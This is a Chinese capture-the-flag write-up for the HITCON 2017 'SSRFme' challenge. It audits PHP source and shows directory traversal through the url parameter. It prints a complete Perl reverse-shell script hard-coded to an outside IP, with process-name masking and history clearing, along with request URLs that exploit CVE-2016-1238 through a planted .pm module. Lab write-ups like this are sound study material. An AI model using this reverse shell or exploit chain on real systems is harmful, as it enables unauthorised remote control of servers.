[HITCON 2017]SSRFme

BUU 一分题 难得一批。周六有空看下
打开靶机给了源码

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }
    echo $_SERVER["REMOTE_ADDR"];
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);
    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

源码审计：
我们可以发现会获取访问的IP数据并输出在屏幕
建立基于ip沙箱文件夹，传入一个参数url，执行"GET".escapeshellarg($_GET["url"]),并且将结果写入到我们传入的filename中
所以我们先算下IP的MD5
0aa2fa6e529abf3024b65e54be447340
尝试目录穿越访问url=../../../../../&filename=a
然后访问sandbox/ipmd5/a

可以发现flag文件和/readflag
www-data用户没法直接读flag.就要尝试执行/readflag
 

1.在file.pm中open函数参数可控；
2.file.pm先判断(file:文件名)中的文件存在才能执行文件名对应的命令
所以最终的payload：

还有一种方式是反弹shell
首先找到一个perl反弹shell的代码

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
# Where to send the reverse shell. Change these.
my $ip = '174.1.85.187';
my $port = 6666;
# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any
        # source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);
# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";
# Change the process name to be less conspicious
$0 = "[httpd]";
# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
    if ($auth) {
        unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
            cgiprint("ERROR: Your client isn't authorised to view this page");
            cgiexit();
        }
    }
} elsif ($auth) {
    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
    cgiexit(0);
}
# Background and dissociate from parent process if required
if ($daemon) {
    my $pid = fork();
    if ($pid) {
        cgiexit(0); # parent exits
    }
    setsid();
    chdir('/');
    umask(0);
}
# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
    cgiprint("Sent reverse shell to $ip:$port");
    cgiprintpage();
} else {
    cgiprint("Couldn't open reverse shell to $ip:$port: $!");
    cgiexit();
}
# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));
# Wrapper around print
sub cgiprint {
    my $line = shift;
    $line .= "\n";
    $global_page .= $line;
}
# Wrapper around exit
sub cgiexit {
    cgiprintpage();
    exit 0; # 0 to ensure we don't give a 500 response.
}
# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
    print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page;
}

设置好端口和靶机地址请求
/?url=http://174.1.85.187/2.pm&filename=URI/ha1c9on.pm
/?url=ha1c9on://ha1c9on.top&filename=ha1c9on.pm
即可返回shell
自己测了一下，当filename中没有URI文件夹的时候不能成功返回shell，不知道什么原因

利用了CVE-2016-1238

漏洞大致构成原因是：`

当解析遇到了非定义的协议(定义的协议在perl5/LWP/Protocol文件夹下可以看到，默认支持GHTTP、cpan、data、file、ftp、gopher、http、https、loopback、mailto、nntp、nogo协议)时, 如ha1c9on://ha1c9on.top，会自动读取当前目录下的URI目录并查看是否有对应协议的pm模块并尝试eval "require xxx"，这里我们的恶意pm模块就会被执行。

参考：https://www.jianshu.com/p/3f82685f56a8